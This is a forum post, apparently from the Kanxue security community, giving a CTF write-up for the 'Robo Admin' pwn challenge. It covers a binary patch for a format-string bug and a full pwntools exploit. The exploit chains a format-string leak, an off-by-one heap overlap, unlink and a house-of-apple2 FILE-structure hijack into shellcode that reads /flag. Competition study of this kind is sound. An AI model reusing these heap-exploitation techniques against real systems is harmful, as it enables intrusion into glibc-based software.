首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
1
[原创]2026 软件系统安全赛Robo Admin题解
发表于: 2026-4-20 22:53
8553
[原创]2026 软件系统安全赛Robo Admin题解
sysNow
1
2026-4-20 22:53
8553
# 2026 软件系统安全赛Robo Admin题解   ## fix  这个位置存在格式化字符串漏洞,同时按照要求增加解码后的判断逻辑即可 没做出来的师傅们可能没有好好读题,题目里面指定了需要审计`set_notice`函数和`show_status`函数,所以会有以下三种情况 1. 如果原文中出现`$`或`%`,则输出`[X] raw input contains illegal chars` 2. 如果解码后的字符串出现`$`或`%`,则输出`[X] decoded input contains illegal chars` 3. 不满足以上条件,则允许写入`bss`段中 因此我们需要在修复格式化字符串的同时,利用汇编添加第二条的逻辑,至于第二层菜单的`off by one`甚至都不用修复就可以通过check ```python #!/usr/bin/env python # coding=utf-8 from AwdPwnPatcher import * binary = "./pwn" awd = AwdPwnPatcher(binary) fmt_offset = awd.add_constant_in_ehframe("%s\x00\x00") assembly = """ mov eax, 0 mov rsi, rdi lea rdi, qword ptr [{}] """.format(hex(fmt_offset)) awd.patch_by_jmp(0x1A45, jmp_to=0x1A4A, assembly=assembly) offset = awd.add_constant_in_ehframe("[X] decoded input contains illegal chars\x00") assembly = """ lea rax, qword ptr [rbp-0x310] mov esi, 0x25 mov rdi, rax call 0x1200 test rax, rax jnz print lea rax, qword ptr [rbp-0x310] mov esi, 0x24 mov rdi, rax call 0x1200 test rax, rax jnz print lea rax, qword ptr [rbp-0x310] jmp 0x190E print: lea rax, qword ptr [{}] mov rdi, rax call 0x11D0 jmp 0x1945 """.format(hex(offset)) awd.patch_by_jmp(0x1907, 0x190E, assembly=assembly) awd.save() ``` ## attack 通过格式化字符串泄露信息,同时泄露password经过login的认证,随后进入主菜单  这个位置存在一个`off by one`,可以先通过这个`off by one`修改后一个堆块的size,随后通过后一个堆块覆盖之后的内存,实现堆重叠,随后打**unlink**就可以直接控制堆块管理内存的权限  随后可以泄露堆的地址,修改`_IO_list_all`,打`house of apple2`即可 其实在打`unlink`之前,一直在尝试通过堆重叠直接篡改`fd`,由于是`glibc 2.35`,因此存在异或加密,需要先泄露一个堆地址。由于编辑堆块的时候会在堆块的末尾添加空字符,而`show`功能利用的是`printf`,因此很难通过`edit + show`的方式泄露堆地址,尝试半天后最终选择`unlink`。我们通过之前的格式化字符串可以泄露出ELF基地址,同时存在溢出写,满足打`unlink`的条件  我其实觉得攻击挺简单的,不知道为什么华东赛区全场就两个解 ```python from pwn import * from LibcSearcher import * from ctypes import * context(os="linux",arch="amd64",log_level="debug") # io = process("./pwn") io = remote("192.0.100.2",9999) # io = gdb.debug("./pwn") elf = ELF("./pwn") libc = ELF("./libc.so.6") stop = pause S = pause leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address))) x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00')) s = io.send sl = io.sendline sla = io.sendlineafter sa = io.sendafter slt = io.sendlinethen st = io.sendthen r = io.recv rn = io.recvn rr = io.recvregex ru = io.recvuntil ra = io.recvall rl = io.recvline rs = io.recvlines rls = io.recvline_startswith rle = io.recvline_endswith rlc = io.recvline_contains ia = io.interactive cr = io.can_recv def cmd(i, prompt=b">"): sla(prompt, i) def add(idx, name, size): cmd(b"1") sla(b"Index:", str(idx).encode()) sla(b"Task name:", name) sla(b"Desc size:", str(size).encode()) # ...... def edit(idx, leng, data): cmd(b"2") sla(b"Index:", str(idx).encode()) sla(b"Write length :", str(leng).encode()) sla(b"New desc bytes:", data) # ...... def show(idx): cmd(b"3") sla(b"Index:", str(idx).encode()) # ...... def show_all(): cmd(b"4") def dele(idx): cmd(b"5") sla(b"Index:", str(idx).encode()) # ...... leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address))) x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00')) cmd(b"1") sl(b"\\x2513\\x24p \\x2514\\x24p \\x2515\\x24p \\x2523\\x24p \\x256\\x24p \\x257\\x24p") # pause() cmd(b"2") ru(b"Notice:") ru(b"0x") canary = int(r(16), 16) ru(b"0x") stack = int(r(12), 16) ru(b"0x") elf_base = int(r(12), 16) - 0x2893 ru(b"0x") libc_base = int(r(12), 16) - 0x29d90 _IO_list_all = libc_base + libc.sym["_IO_list_all"] _IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"] setcontext = libc_base + libc.sym["setcontext"] + 61 mprotect = libc_base + libc.sym["mprotect"] system = libc_base + libc.sym["system"] leak("canary", canary) leak("stack", stack) leak("elf_base", elf_base) leak("libc_base", libc_base) ru(b"0x") password1 = int(r(16), 16) ru(b"0x") password2 = int(r(16), 16) leak("password1", password1) leak("password2", password2) password1 = p64(password1, endianness='big') print(b"password1 = ", password1) password2 = p64(password2, endianness='big') print(b"password2 = ", password2) pass_word = "" for i in range(len(password1)): pass_word = pass_word + hex(password1[i])[2:] for i in range(len(password2)): pass_word = pass_word + hex(password2[i])[2:] print(b"pass_word = ", pass_word) cmd(b"3") ru(b"Token:") sl(b"ROBOADMIN") ru(b"Password") sl(pass_word.encode()) add(2, b"AAAA", 0x128) add(3, b"AAAA", 0x128) add(4, b"AAAA", 0x100) add(5, b"AAAA", 0x200) add(6, b"AAAA", 0x200) add(7, b"AAAA", 0x100) edit(2, 0x129, b"A"*0x128+b"\xf0") dele(3) # pause() add(3, b"AAAA", 0x1e0) # pause() target = elf_base + 0x5158 edit(3, 0x140, (p64(0)+p64(0x120)+p64(target-0x18)+p64(target-0x10)).ljust(0x120, b"A")+p64(0x120)+p64(0x640)) dele(4) edit(3, 0x18, p64(0)+p64(0)+p64(elf_base+0x5168)) show(2) ru(b"Task<AAAA> => ") heap_base = u64(r(6).ljust(8, b"\x00")) - 0x1cd0 leak("heap_base", heap_base) edit(3, 0x58, b"A"*0x50 + p64(_IO_list_all)) edit(5, 0x200, flat([setcontext])) edit(6, 0x200, flat({0x0:0x3b68732020, # _flags 0x20:0, # _IO_write_base 0x28:1, # _IO_write_ptr 0x88:heap_base, # _lock 0xa0:heap_base+0x20f0, # _wide_data 0xc0:0, # _mode 0xd8:_IO_wfile_jumps # vtable }, filler = b"\x00")) edit(7, 0x100, flat({0x18:0, 0x30:0, 0xe0:heap_base+0x1cd0-0x68, # backdoor 0xa0:heap_base+0x1968, 0x68:heap_base, 0x70:0x5000, 0x88:7, 0xa8:mprotect }, filler = b"\x00")) edit(2, 0x10, p64(heap_base+0x1ee0)) edit(3, 0x58, b"A"*0x50 + p64(heap_base+0x1960)) shell = shellcraft.amd64.openat(-100, "/flag", 4, 0) + shellcraft.amd64.sendfile(1,3,0,0x1000) edit(2, 0x100, p64(0x4444444444444444)+p64(heap_base+0x1970)+b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe6E1\xd2j\x9c_j\x04Z1\xc0f\xb8\x01\x01\x0f\x05A\xba\x01\x01\x01\x01A\x81\xf2\x01\x11\x01\x01j\x01_1\xd2j\x03^j(X\x0f\x05') # pause() cmd(b"6") cmd(b"4") ia() ``` > Article title:2026 软件系统安全赛Robo Admin题解 > > Article author:sysNow > > Release time:Apr 20, 2026 > > Original link:<mark class="encrypted">c3cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6P5i4y4F1L8%4N6Q4x3X3g2^5P5i4A6Q4x3V1k6T1L8r3!0Y4i4K6u0r3j5$3y4K6M7%4y4U0i4K6g2X3M7X3!0T1L8$3q4V1L8h3W2F1</mark>
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
这个讨论对我很有帮助,谢谢!
2026-7-16 08:35
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
Nan0in
雪 币:
447
活跃值:
(127)
能力值:
( LV2,RANK:10 )
在线值:
发帖
3
回帖
4
粉丝
2
关注
私信
Nan0in
2
楼
两个解的原因很大概率是不会连远程,至少我卡连接看了半天
2026-4-29 16:47
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
sysNow
1
3
发帖
0
回帖
70
RANK
关注
私信
他的文章
[原创]从POC到EXP:从0基础到v8 CVE-2021-38003复现
10895
[原创]2026 软件系统安全赛Robo Admin题解
8553
[原创]2026 HGAME PWN writeup
7128
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部